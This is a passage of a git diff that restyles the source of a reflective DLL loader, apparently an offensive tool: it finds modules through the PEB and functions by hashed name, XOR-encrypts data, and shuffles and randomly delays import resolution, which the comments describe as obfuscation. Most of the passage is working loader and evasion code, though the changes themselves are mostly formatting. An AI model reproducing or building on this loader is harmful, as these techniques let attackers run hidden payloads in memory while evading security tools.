(dwIsWritable) - { - dwNewProtect = PAGE_WRITECOPY; - } - - if (dwIsReadable) - { - dwNewProtect = PAGE_READONLY; - } - - if (dwIsWritable && dwIsReadable) - { - dwNewProtect = PAGE_READWRITE; - } - - if (dwIsExecutable) - { - dwNewProtect = PAGE_EXECUTE; - } - - if (dwIsExecutable && dwIsWritable) - { - dwNewProtect = PAGE_EXECUTE_WRITECOPY; - } - - if (dwIsExecutable && dwIsReadable) - { - dwNewProtect = PAGE_EXECUTE_READ; - } - - if (dwIsExecutable && dwIsWritable && dwIsReadable) - { - dwNewProtect = PAGE_EXECUTE_READWRITE; - } - - lpAddress = reinterpret_cast(pNewImageBase + pSectionHeader->VirtualAddress); - pVirtualProtect(lpAddress, pSectionHeader->Misc.VirtualSize, dwNewProtect, &dwOldProtect); + if (!dwIsExecutable && !dwIsReadable && !dwIsWritable) { + dwNewProtect = PAGE_NOACCESS; } - pFlushInstructionCache(INVALID_HANDLE_VALUE, nullptr, 0); + if (dwIsWritable) { + dwNewProtect = PAGE_WRITECOPY; + } + + if (dwIsReadable) { + dwNewProtect = PAGE_READONLY; + } + + if (dwIsWritable && dwIsReadable) { + dwNewProtect = PAGE_READWRITE; + } + + if (dwIsExecutable) { + dwNewProtect = PAGE_EXECUTE; + } + + if (dwIsExecutable && dwIsWritable) { + dwNewProtect = PAGE_EXECUTE_WRITECOPY; + } + + if (dwIsExecutable && dwIsReadable) { + dwNewProtect = PAGE_EXECUTE_READ; + } + + if (dwIsExecutable && dwIsWritable && dwIsReadable) { + dwNewProtect = PAGE_EXECUTE_READWRITE; + } + + lpAddress = reinterpret_cast(pNewImageBase + pSectionHeader->VirtualAddress); + pVirtualProtect(lpAddress, pSectionHeader->Misc.VirtualSize, dwNewProtect, &dwOldProtect); + } + + pFlushInstructionCache(INVALID_HANDLE_VALUE, nullptr, 0); } -BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, LOAD_LIBRARY_W pLoadLibraryW, GET_PROC_ADDRESS pGetProcAddress, SLEEP pSleep, std::mt19937 &eng) -{ - auto pImportDescriptor = reinterpret_cast(pNewImageBase + pDataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); +BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, LOAD_LIBRARY_W pLoadLibraryW, GET_PROC_ADDRESS pGetProcAddress, SLEEP pSleep, const std::mt19937 &eng) { + auto pImportDescriptor = reinterpret_cast(pNewImageBase + pDataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress); - if (pImportDescriptor == nullptr) - { - return FALSE; + if (pImportDescriptor == nullptr) { + return FALSE; + } + + /* + 1.) Shuffle Import Table entries + 2.) Delay the relocation of each import a semirandom duration + 3.) Conditional execution based on ordinal/name + 4.) Indirect function call via pointer + */ + + int importCount = 0; + auto pId = pImportDescriptor; + + while (pId->Name) { + importCount++; + pId++; + } + + std::vector> sleepDurations; + std::uniform_int_distribution<> sleepDist(1000, MAX_IMPORT_DELAY_MS); + + if (importCount > 1 && OBFUSCATE_IMPORTS) { + for (auto i = 0; i < importCount - 1; i++) { + std::uniform_int_distribution<> distr(i, importCount - 1); + int j = distr(eng); + + // Swap + auto tmp = pImportDescriptor[i]; + pImportDescriptor[i] = pImportDescriptor[j]; + pImportDescriptor[j] = tmp; + + // Store unique sleep durations with their corresponding import index + auto sleepTime = sleepDist(eng); + sleepDurations.push_back(std::make_pair(i, sleepTime)); + } + } + + LPCWSTR pwszModuleName; + HMODULE hModule; + PIMAGE_THUNK_DATA64 pThunkData, pThunkDataIat; + + for (auto i = 0; pImportDescriptor->Name; pImportDescriptor++, i++) { + // Apply delay + if (OBFUSCATE_IMPORTS) { + auto it = std::find_if(sleepDurations.begin(), sleepDurations.end(), [i](const std::pair &pair) { return pair.first == i; }); + + if (it != sleepDurations.end()) { + pSleep(it->second); + } } - /* - 1.) Shuffle Import Table entries - 2.) Delay the relocation of each import a semirandom duration - 3.) Conditional execution based on ordinal/name - 4.) Indirect function call via pointer - */ + pwszModuleName = reinterpret_cast(pNewImageBase + pImportDescriptor->Name); + hModule = pLoadLibraryW(pwszModuleName); - int importCount = 0; - auto pId = pImportDescriptor; - - while (pId->Name) - { - importCount++; - pId++; + if (hModule == nullptr) { + return FALSE; } - std::vector> sleepDurations; - std::uniform_int_distribution<> sleepDist(1000, MAX_IMPORT_DELAY_MS); + pThunkData = reinterpret_cast(pNewImageBase + pImportDescriptor->OriginalFirstThunk); + pThunkDataIat = reinterpret_cast(pNewImageBase + pImportDescriptor->FirstThunk); - if (importCount > 1 && OBFUSCATE_IMPORTS) - { - for (auto i = 0; i < importCount - 1; i++) - { - std::uniform_int_distribution<> distr(i, importCount - 1); - int j = distr(eng); + LPCSTR lpProcName; + PIMAGE_IMPORT_BY_NAME pImportByName; - // Swap - auto tmp = pImportDescriptor[i]; - pImportDescriptor[i] = pImportDescriptor[j]; - pImportDescriptor[j] = tmp; + for (auto j = 0; pThunkData->u1.Function; pThunkData++, pThunkDataIat++, j++) { + if (pThunkData->u1.Ordinal & IMAGE_ORDINAL_FLAG64) { + // High bits masked out to get the ordinal number + lpProcName = reinterpret_cast(pThunkData->u1.Ordinal & 0xFFFF); + } else { + // The address of the imported function is stored in the IMAGE_IMPORT_BY_NAME structure + pImportByName = reinterpret_cast(pNewImageBase + pThunkData->u1.AddressOfData); + lpProcName = pImportByName->Name; + } - // Store unique sleep durations with their corresponding import index - auto sleepTime = sleepDist(eng); - sleepDurations.push_back(std::make_pair(i, sleepTime)); - } + pThunkDataIat->u1.Function = reinterpret_cast(pGetProcAddress(hModule, lpProcName)); } + } - LPCWSTR pwszModuleName; - HMODULE hModule; - PIMAGE_THUNK_DATA64 pThunkData, pThunkDataIat; - - for (auto i = 0; pImportDescriptor->Name; pImportDescriptor++, i++) - { - // Apply delay - if (OBFUSCATE_IMPORTS) - { - auto it = std::find_if(sleepDurations.begin(), sleepDurations.end(), [i](const std::pair &pair) - { return pair.first == i; }); - - if (it != sleepDurations.end()) - { - pSleep(it->second); - } - } - - pwszModuleName = reinterpret_cast(pNewImageBase + pImportDescriptor->Name); - hModule = pLoadLibraryW(pwszModuleName); - - if (hModule == nullptr) - { - return FALSE; - } - - pThunkData = reinterpret_cast(pNewImageBase + pImportDescriptor->OriginalFirstThunk); - pThunkDataIat = reinterpret_cast(pNewImageBase + pImportDescriptor->FirstThunk); - - LPCSTR lpProcName; - PIMAGE_IMPORT_BY_NAME pImportByName; - - for (auto j = 0; pThunkData->u1.Function; pThunkData++, pThunkDataIat++, j++) - { - if (pThunkData->u1.Ordinal & IMAGE_ORDINAL_FLAG64) - { - // High bits masked out to get the ordinal number - lpProcName = reinterpret_cast(pThunkData->u1.Ordinal & 0xFFFF); - } - else - { - // The address of the imported function is stored in the IMAGE_IMPORT_BY_NAME structure - pImportByName = reinterpret_cast(pNewImageBase + pThunkData->u1.AddressOfData); - lpProcName = pImportByName->Name; - } - - pThunkDataIat->u1.Function = reinterpret_cast(pGetProcAddress(hModule, lpProcName)); - } - } - - return TRUE; + return TRUE; } -BOOL ProcessRelocations(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, ULONG_PTR ulpDelta) -{ - auto pRelocation = reinterpret_cast(pNewImageBase + pDataDirectory->VirtualAddress); +BOOL ProcessRelocations(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, ULONG_PTR ulpDelta) { + auto pRelocation = reinterpret_cast(pNewImageBase + pDataDirectory->VirtualAddress); - if (pRelocation == nullptr || pDataDirectory->Size == 0) - { - return FALSE; + if (pRelocation == nullptr || pDataDirectory->Size == 0) { + return FALSE; + } + + // Upper bound to prevent accessing memory part the end of the relocation data + auto dwRelocationEnd = pDataDirectory->VirtualAddress + pDataDirectory->Size; + PIMAGE_RELOC pRelocationList; + + while (pRelocation->VirtualAddress && pRelocation->VirtualAddress <= dwRelocationEnd && pRelocation->SizeOfBlock) { + pRelocationList = reinterpret_cast(pRelocation + 1); + + while (reinterpret_cast(pRelocationList) < reinterpret_cast(pRelocation) + pRelocation->SizeOfBlock) { + auto pPatchAddress = reinterpret_cast(pNewImageBase + pRelocation->VirtualAddress + pRelocationList->offset); + + // Note -- Types adjusted from PULONG_PTR to PDWORD and PWORD + switch (pRelocationList->type) { + case IMAGE_REL_BASED_DIR64: + *reinterpret_cast(pPatchAddress) += ulpDelta; + break; + case IMAGE_REL_BASED_HIGHLOW: + *reinterpret_cast(pPatchAddress) += static_cast(ulpDelta); + break; + case IMAGE_REL_BASED_HIGH: + *reinterpret_cast(pPatchAddress) += HIWORD(ulpDelta); + break; + case IMAGE_REL_BASED_LOW: + *reinterpret_cast(pPatchAddress) += LOWORD(ulpDelta); + break; + default: + continue; + } + + pRelocationList++; } - // Upper bound to prevent accessing memory part the end of the relocation data - auto dwRelocationEnd = pDataDirectory->VirtualAddress + pDataDirectory->Size; - PIMAGE_RELOC pRelocationList; + pRelocation = reinterpret_cast(pRelocationList); + } - while (pRelocation->VirtualAddress && pRelocation->VirtualAddress <= dwRelocationEnd && pRelocation->SizeOfBlock) - { - pRelocationList = reinterpret_cast(pRelocation + 1); - - while (reinterpret_cast(pRelocationList) < reinterpret_cast(pRelocation) + pRelocation->SizeOfBlock) - { - auto pPatchAddress = reinterpret_cast(pNewImageBase + pRelocation->VirtualAddress + pRelocationList->offset); - - // Note -- Types adjusted from PULONG_PTR to PDWORD and PWORD - switch (pRelocationList->type) - { - case IMAGE_REL_BASED_DIR64: - *reinterpret_cast(pPatchAddress) += ulpDelta; - break; - case IMAGE_REL_BASED_HIGHLOW: - *reinterpret_cast(pPatchAddress) += static_cast(ulpDelta); - break; - case IMAGE_REL_BASED_HIGH: - *reinterpret_cast(pPatchAddress) += HIWORD(ulpDelta); - break; - case IMAGE_REL_BASED_LOW: - *reinterpret_cast(pPatchAddress) += LOWORD(ulpDelta); - break; - default: - continue; - } - - pRelocationList++; - } - - pRelocation = reinterpret_cast(pRelocationList); - } - - return TRUE; + return TRUE; } -void CopyHeadersAndSections(ULONG_PTR pNewImageBase, PBYTE pbImage, PIMAGE_NT_HEADERS64 pNtHeaders) -{ - // Copy headers - auto pbDst = reinterpret_cast(pNewImageBase); - std::copy(pbImage, pbImage + pNtHeaders->OptionalHeader.SizeOfHeaders, pbDst); +void CopyHeadersAndSections(ULONG_PTR pNewImageBase, PBYTE pbImage, PIMAGE_NT_HEADERS64 pNtHeaders) { + // Copy headers + auto pbDst = reinterpret_cast(pNewImageBase); + std::copy(pbImage, pbImage + pNtHeaders->OptionalHeader.SizeOfHeaders, pbDst); - // Copy sections - auto pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders); - pbDst = reinterpret_cast(pNewImageBase + pSectionHeader->VirtualAddress); + // Copy sections + auto pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders); + pbDst = reinterpret_cast(pNewImageBase + pSectionHeader->VirtualAddress); - PBYTE pbSrc; + PBYTE pbSrc; - for (auto i = 0; i < pNtHeaders->FileHeader.NumberOfSections; pSectionHeader++, i++) - { - pbSrc = reinterpret_cast(pbImage + pSectionHeader->PointerToRawData); - std::copy(pbSrc, pbSrc + pSectionHeader->SizeOfRawData, pbDst); - } + for (auto i = 0; i < pNtHeaders->FileHeader.NumberOfSections; pSectionHeader++, i++) { + pbSrc = reinterpret_cast(pbImage + pSectionHeader->PointerToRawData); + std::copy(pbSrc, pbSrc + pSectionHeader->SizeOfRawData, pbDst); + } } -PBYTE GetModuleAddressFromHash(DWORD dwHash) -{ - // https://en.wikipedia.org/wiki/Win32_Thread_Information_Block +PBYTE GetModuleAddressFromHash(DWORD dwHash) { + // https://en.wikipedia.org/wiki/Win32_Thread_Information_Block #if defined(_WIN64) - // PEB is at GS:[0x60] - auto pPEB = reinterpret_cast(__readgsqword(0x60)); + // PEB is at GS:[0x60] + auto pPEB = reinterpret_cast(__readgsqword(0x60)); #else - // PEB is at FS:[0x30] - auto pPEB = reinterpret_cast(__readfsdword(0x30)); + // PEB is at FS:[0x30] + auto pPEB = reinterpret_cast(__readfsdword(0x30)); #endif - auto pLdr = reinterpret_cast(pPEB->Ldr); - auto pEntry = reinterpret_cast(pLdr->InLoadOrderModuleList.Flink); + auto pLdr = reinterpret_cast(pPEB->Ldr); + auto pEntry = reinterpret_cast(pLdr->InLoadOrderModuleList.Flink); - while (pEntry->DllBase != NULL) - { - if (CalculateHash(pEntry->BaseDllName) == dwHash && pEntry->DllBase != nullptr) - { - return reinterpret_cast(pEntry->DllBase); - } - - pEntry = reinterpret_cast(pEntry->InLoadOrderLinks.Flink); + while (pEntry->DllBase != NULL) { + if (CalculateHash(pEntry->BaseDllName) == dwHash && pEntry->DllBase != nullptr) { + return reinterpret_cast(pEntry->DllBase); } + pEntry = reinterpret_cast(pEntry->InLoadOrderLinks.Flink); + } + + return nullptr; +} + +HMODULE GetExportAddrFromHash(PBYTE pbModule, DWORD dwHash, const std::mt19937 &eng) { + auto pNtHeaders = GetNtHeaders(pbModule); + + if (pNtHeaders == nullptr) { return nullptr; + } + + auto *pExportDir = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; + auto *pExport = reinterpret_cast(pbModule + pExportDir->VirtualAddress); + + /* + 1.) Read the export data (dwNameRva's) + 2.) Shuffle the order of the collected export name RVA's + 3.) Find the correct export by calculating hashes of the function names + */ + + DWORD dwNameRva; + std::vector> vNameRvas; + + for (DWORD i = 0; i < pExport->NumberOfNames; i++) { + dwNameRva = (reinterpret_cast(pbModule + pExport->AddressOfNames))[i]; + vNameRvas.push_back(std::make_tuple(dwNameRva, i)); + } + + std::shuffle(vNameRvas.begin(), vNameRvas.end(), eng); + + DWORD dwNameHash, dwFunctionRva; + UNICODE_STRING *strFunctionNameBase; + WORD wOrdinal; + + for (auto dwNRva : vNameRvas) { + strFunctionNameBase = reinterpret_cast(pbModule + std::get<0>(dwNRva)); + dwNameHash = CalculateHash(*strFunctionNameBase); + + if (dwNameHash == dwHash) { + wOrdinal = (reinterpret_cast(pbModule + pExport->AddressOfNameOrdinals))[std::get<1>(dwNRva)]; + dwFunctionRva = (reinterpret_cast(pbModule + pExport->AddressOfFunctions))[wOrdinal]; + + return reinterpret_cast(pbModule + dwFunctionRva); + } + } + + return nullptr; } -HMODULE GetExportAddrFromHash(PBYTE pbModule, DWORD dwHash, std::mt19937 &eng) -{ - auto pNtHeaders = GetNtHeaders(pbModule); - - if (pNtHeaders == nullptr) - { - return nullptr; - } - - auto *pExportDir = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; - auto *pExport = reinterpret_cast(pbModule + pExportDir->VirtualAddress); - - /* - 1.) Read the export data (dwNameRva's) - 2.) Shuffle the order of the collected export name RVA's - 3.) Find the correct export by calculating hashes of the function names - */ - - DWORD dwNameRva; - std::vector> vNameRvas; - - for (DWORD i = 0; i < pExport->NumberOfNames; i++) - { - dwNameRva = (reinterpret_cast(pbModule + pExport->AddressOfNames))[i]; - vNameRvas.push_back(std::make_tuple(dwNameRva, i)); - } - - std::shuffle(vNameRvas.begin(), vNameRvas.end(), eng); - - DWORD dwNameHash, dwFunctionRva; - UNICODE_STRING *strFunctionNameBase; - WORD wOrdinal; - - for (auto dwNRva : vNameRvas) - { - strFunctionNameBase = reinterpret_cast(pbModule + std::get<0>(dwNRva)); - dwNameHash = CalculateHash(*strFunctionNameBase); - - if (dwNameHash == dwHash) - { - wOrdinal = (reinterpret_cast(pbModule + pExport->AddressOfNameOrdinals))[std::get<1>(dwNRva)]; - dwFunctionRva = (reinterpret_cast(pbModule + pExport->AddressOfFunctions))[wOrdinal]; - - return reinterpret_cast(pbModule + dwFunctionRva); - } - } +PIMAGE_NT_HEADERS64 GetNtHeaders(PBYTE pbImage) { + auto pDosHeader = reinterpret_cast(pbImage); + if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) { return nullptr; -} - -PIMAGE_NT_HEADERS64 GetNtHeaders(PBYTE pbImage) -{ - auto pDosHeader = reinterpret_cast(pbImage); - - if (pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) - { - return nullptr; - } - - auto pNtHeaders = reinterpret_cast(pbImage + pDosHeader->e_lfanew); - - if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE) - { - return nullptr; - } - - return pNtHeaders; + } + + auto pNtHeaders = reinterpret_cast(pbImage + pDosHeader->e_lfanew); + + if (pNtHeaders->Signature != IMAGE_NT_SIGNATURE) { + return nullptr; + } + + return pNtHeaders; } diff --git a/reflective_loader/loader.hpp b/reflective_loader/loader.hpp index 01debff..06fa7ce 100644 --- a/reflective_loader/loader.hpp +++ b/reflective_loader/loader.hpp @@ -2,6 +2,7 @@ #include #include + #include #include @@ -29,8 +30,7 @@ using DLL_MAIN = BOOL(WINAPI *)(HMODULE, DWORD, LPVOID); using USER_FUNCTION = BOOL(WINAPI *)(LPVOID, DWORD); // Complete WinAPI PEB structs -struct _MY_PEB_LDR_DATA -{ +struct _MY_PEB_LDR_DATA { ULONG Length; BOOL Initialized; PVOID SsHandle; @@ -41,8 +41,7 @@ struct _MY_PEB_LDR_DATA using MY_PEB_LDR_DATA = _MY_PEB_LDR_DATA; using PMY_PEB_LDR_DATA = _MY_PEB_LDR_DATA *; -struct _MY_LDR_DATA_TABLE_ENTRY -{ +struct _MY_LDR_DATA_TABLE_ENTRY { LIST_ENTRY InLoadOrderLinks; LIST_ENTRY InMemoryOrderLinks; LIST_ENTRY InInitializationOrderLinks; @@ -55,8 +54,7 @@ struct _MY_LDR_DATA_TABLE_ENTRY using MY_LDR_DATA_TABLE_ENTRY = _MY_LDR_DATA_TABLE_ENTRY; using PMY_LDR_DATA_TABLE_ENTRY = _MY_LDR_DATA_TABLE_ENTRY *; -struct _IMAGE_RELOC -{ +struct _IMAGE_RELOC { WORD offset : 12; WORD type : 4; }; @@ -64,10 +62,10 @@ using IMAGE_RELOC = _IMAGE_RELOC; using PIMAGE_RELOC = _IMAGE_RELOC *; PBYTE GetModuleAddressFromHash(DWORD dwHash); -HMODULE GetExportAddrFromHash(PBYTE pbModule, DWORD dwHash, std::mt19937 &eng); +HMODULE GetExportAddrFromHash(PBYTE pbModule, DWORD dwHash, const std::mt19937 &eng); PIMAGE_NT_HEADERS64 GetNtHeaders(PBYTE pbImage); void CopyHeadersAndSections(ULONG_PTR pNewImageBase, PBYTE pbImage, PIMAGE_NT_HEADERS64 pNtHeaders); BOOL ProcessRelocations(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, ULONG_PTR ulpDelta); -BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, LOAD_LIBRARY_W pLoadLibraryW, GET_PROC_ADDRESS pGetProcAddress, SLEEP pSleep, std::mt19937 &eng); +BOOL PatchImportAddressTable(ULONG_PTR pNewImageBase, PIMAGE_DATA_DIRECTORY pDataDirectory, LOAD_LIBRARY_W pLoadLibraryW, GET_PROC_ADDRESS pGetProcAddress, SLEEP pSleep, const std::mt19937 &eng); void FinalizeRelocations(ULONG_PTR pNewImageBase, PIMAGE_NT_HEADERS64 pNtHeaders, VIRTUAL_PROTECT pVirtualProtect, FLUSH_INSTRUCTION_CACHE pFlushInstructionCache); diff --git a/shared/crypto.cpp b/shared/crypto.cpp index 0d15d49..00c9659 100644 --- a/shared/crypto.cpp +++ b/shared/crypto.cpp @@ -1,75 +1,63 @@ #include "crypto.hpp" -std::vector GenerateKey(size_t keysize) -{ - std::vector key(keysize, 0); - std::random_device rd; - std::mt19937 gen(rd()); - std::uniform_int_distribution<> dis(0, 255); +std::vector GenerateKey(size_t keysize) { + std::vector key(keysize, 0); + std::random_device rd; + std::mt19937 gen(rd()); + std::uniform_int_distribution<> dis(0, 255); - for (size_t i = 0; i < key.size(); ++i) - { - key[i] = static_cast(dis(gen)); - } + for (size_t i = 0; i < key.size(); ++i) { + key[i] = static_cast(dis(gen)); + } - return key; + return key; } -void XorCipher(std::vector &data, const std::vector &key) -{ - for (size_t i = 0; i < data.size(); i++) - { - data[i] = data[i] ^ key[i % key.size()]; - } +void XorCipher(std::vector *data, const std::vector &key) { + for (size_t i = 0; i < data->size(); i++) { + (*data)[i] = (*data)[i] ^ key[i % key.size()]; + } } -DWORD CalculateHash(const std::string &source) -{ - auto dwHash = HASH_KEY; +DWORD CalculateHash(const std::string &source) { + auto dwHash = HASH_KEY; - for (char ch : source) - { - if (ch == '\0') - { - continue; - } - - if (ch >= 'a' && ch <= 'z') - { - ch -= 0x20; - } - - // Casting might be unnecessary - dwHash = ((dwHash << 5) + dwHash) + static_cast(ch); + for (char ch : source) { + if (ch == '\0') { + continue; } - return dwHash; -} - -DWORD CalculateHash(const UNICODE_STRING &baseDllName) -{ - auto pwszBaseDllName = baseDllName.Buffer; - auto dwHash = HASH_KEY; - - char ch; - - for (auto i = 0; i < baseDllName.MaximumLength; i++) - { - ch = pwszBaseDllName[i]; - - if (ch == '\0') - { - continue; - } - - if (ch >= 'a' && ch <= 'z') - { - ch -= 0x20; - } - - // Casting might be unnecessary - dwHash = ((dwHash << 5) + dwHash) + static_cast(ch); + if (ch >= 'a' && ch <= 'z') { + ch -= 0x20; } - return dwHash; + // Casting might be unnecessary + dwHash = ((dwHash << 5) + dwHash) + static_cast(ch); + } + + return dwHash; +} + +DWORD CalculateHash(const UNICODE_STRING &baseDllName) { + auto pwszBaseDllName = baseDllName.Buffer; + auto dwHash = HASH_KEY; + + char ch; + + for (auto i = 0; i < baseDllName.MaximumLength; i++) { + ch = pwszBaseDllName[i]; + + if (ch == '\0') { + continue; + } + + if (ch >= 'a' && ch <= 'z') { + ch -= 0x20; + } + + // Casting might be unnecessary + dwHash = ((dwHash << 5) + dwHash) + static_cast(ch); + } + + return dwHash; } diff --git a/shared/crypto.hpp b/shared/crypto.hpp index 5ce525f..5449250 100644 --- a/shared/crypto.hpp +++ b/shared/crypto.hpp @@ -2,12 +2,14 @@ #include #include -#include + #include +#include +#include constexpr auto HASH_KEY = 5381; std::vector GenerateKey(size_t keysize); -void XorCipher(std::vector &data, const std::vector &key); +void XorCipher(std::vector *data, const std::vector &key); DWORD CalculateHash(const std::string &source); DWORD CalculateHash(const UNICODE_STRING &baseDllName); diff --git a/shared/futils.cpp b/shared/futils.cpp index b84654a..e1a6662 100644 --- a/shared/futils.cpp +++ b/shared/futils.cpp @@ -1,17 +1,15 @@ #include "futils.hpp" -std::vector ReadFromFile(const std::string &filename) -{ - std::ifstream file(filename, std::ios::binary); - std::vector data((std::istreambuf_iterator(file)), std::istreambuf_iterator()); - file.close(); +std::vector ReadFromFile(const std::string &filename) { + std::ifstream file(filename, std::ios::binary); + std::vector data((std::istreambuf_iterator(file)), std::istreambuf_iterator()); + file.close(); - return data; + return data; } -void WriteToFile(const std::string &filename, const std::vector &data) -{ - std::ofstream file(filename, std::ios::binary); - file.write(reinterpret_cast(data.data()), data.size()); - file.close(); -} \ No newline at end of file +void WriteToFile(const std::string &filename, const std::vector &data) { + std::ofstream file(filename, std::ios::binary); + file.write(reinterpret_cast(data.data()), data.size()); + file.close(); +} diff --git a/shared/futils.hpp b/shared/futils.hpp index d8208ef..49b4554 100644 --- a/shared/futils.hpp +++ b/shared/futils.hpp @@ -1,9 +1,10 @@ #pragma once #include + +#include #include #include -#include std::vector ReadFromFile(const std::string &filename); void WriteToFile(const std::string &filename, const std::vector &data);